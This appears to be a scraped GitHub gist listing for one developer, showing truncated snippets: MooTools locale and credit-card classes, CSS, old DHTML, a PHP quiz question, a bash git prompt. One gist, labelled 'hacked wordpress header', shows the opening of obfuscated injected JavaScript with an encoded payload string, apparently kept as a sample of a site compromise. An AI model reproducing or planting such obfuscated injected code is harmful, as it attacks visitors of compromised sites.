Skip to content

Instantly share code, notes, and snippets.

View DimitarChristoff's full-sized avatar

Dimitar Christoff DimitarChristoff

View GitHub Profile
/*
---
name: mooSelecta
description: mooSelecta, select element styling replacement
authors: Dimitar Christoff, Andre Fiedler
license: MIT-style license.
@DimitarChristoff
DimitarChristoff / locale-bg.js
Created April 5, 2011 07:46
mootools translation api, bulgarian edition
/*
---
name: Locale.bg-BG.API
description: API Translations in Bulgarian
requires: [Locale.API]
provides: Locale.bg-BG.API
...
*/
(function(){
div.baseBox {
background: #333;
background-image: -moz-linear-gradient(top, #444,#333,#555,#333);
background-image: -webkit-linear-gradient(top, #444,#333,#555,#333);
border: 1px solid #000;
color: #fff;
}
div.baseBox2 {
@DimitarChristoff
DimitarChristoff / gist:987647
Created May 23, 2011 21:21
my oldest javascript i could find
<script>
var Vpos = document.body.clientHeight - 100;
function Video(){
Vpos = Vpos - 10;
document.all.EF.style.top = Vpos;
if (Vpos < -100){
Vpos = document.body.clientHeight -100;
document.all.EF.style.top = -100;
window.clearInterval(VEF);
@DimitarChristoff
DimitarChristoff / CreditCard.js
Created June 1, 2011 10:50
mootools creditcard class
this.CreditCard = new Class({
implements: [Options, Events],
options: {
//credit cards you accept
CARDS: [
{
Visa: /^4([0-9]){12}(?:[0-9]{3})?$/
},
{
MasterCard: /^5[1-5][0-9]{14}$/
this.replaceURL = function(old, newurl) {
var x = document.evaluate('//script[@type="text/javascript" and @src="'+old+'"]', document, null, XPathResult.UNORDERED_NODE_ITERATOR_TYPE, null);
var oldScript = x.iterateNext();
if (!oldScript)
return;
oldScript.src = newurl;
console.log(oldScript);
};
replaceURL("http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js", "http://ajax.googleapis.com/ajax/libs/mootools/1.3.2/mootools-yui-compressed.js");
@DimitarChristoff
DimitarChristoff / test.txt
Created August 15, 2011 10:15
web dev test
1. Which of the following will not add john to the users array?
array_add($users,'john');
array_push($users,'john');
$users[] = 'john';
$users ||= 'john';
@DimitarChristoff
DimitarChristoff / java exploit.js
Created November 5, 2011 10:31
hacked wordpress header
var qTbPndRDkwJlutcricKxUxEtI = '';
nfSlyjfZ = 'AsjuH';
var lYjMVPyBNRjWFrj = 'elPQGexZleNfOzzJAaMkkzlTqyRybfPKNhztREiXZXUKmvXG';
JlrmrXCfprpeygyuxRDrVtG = 'ptaWQnnPGeEyikhb';
var bRtTmUNExebnOgU = 0;
ZeUEyxvnsz = 'lJJLhKl';
var trpZvTo = '%50%39%37%35%04%15%3F%4C%16%3C%05%72%58%12%3E%35%11%77%44%44%14%09%26%5C%18%3E%15%07%14%7E%28%21%05%55%1D%3C%6B%0A%3F%33%67%31%2E%0B%17%2D%2B%11%4E%70%37%35%04%15%3F%0E%0A%3C%02%2A%08%47%68%71%43%6D%18%08%08%03%38%1D%10%3C%1E%5F%44%3E%24%6C%48%12%11%3B%22%01%2C%67%7A%64%69%4D%01%31%23%11%04%6D%73%76%47%58%32%1F%15%2F%05%2A%47%58%7B%63%41%3B%18%1B%1B%0F%31%4C%5B%63%5B%42%0B%31%39%29%01%14%03%3B%21%1D%30%67%7A%65%69%4D%1B%39%35%02%05%3E%39%22%0C%1F%32%18%58%6C%56%6D%44%46%65%28%07%3F%0A%06%1F%52';
rKaiufozUtGqm = 'nxPLuYyllyPDEaUxwqdgjA';
var XpShCCqY = trpZvTo.length / 3;
olVZDdvX = 'wKkirrrGELpwxommU';
@DimitarChristoff
DimitarChristoff / .bash_profile.rc
Created January 26, 2012 08:54
new git prompt
function git_prompt {
local STATUS=`git status 2>&1`
if [[ "$STATUS" != *'Not a git repository'* ]]
then
if [[ "$STATUS" == *'working directory clean'* ]]
then
echo -e "\033[0;32m$(__git_ps1)\033[m"
else
echo -e "\033[0;31m$(__git_ps1)\033[m"
fi
@DimitarChristoff
DimitarChristoff / Composer.js
Created January 30, 2012 11:45
composer test
/**
* Composer.js is an MVC framework for creating and organizing javascript
* applications. For documentation, please visit:
*
* http://lyonbros.github.com/composer.js/
*
* -----------------------------------------------------------------------------
*
* Copyright (c) 2011, Lyon Bros Enterprises, LLC. (http://www.lyonbros.com)
*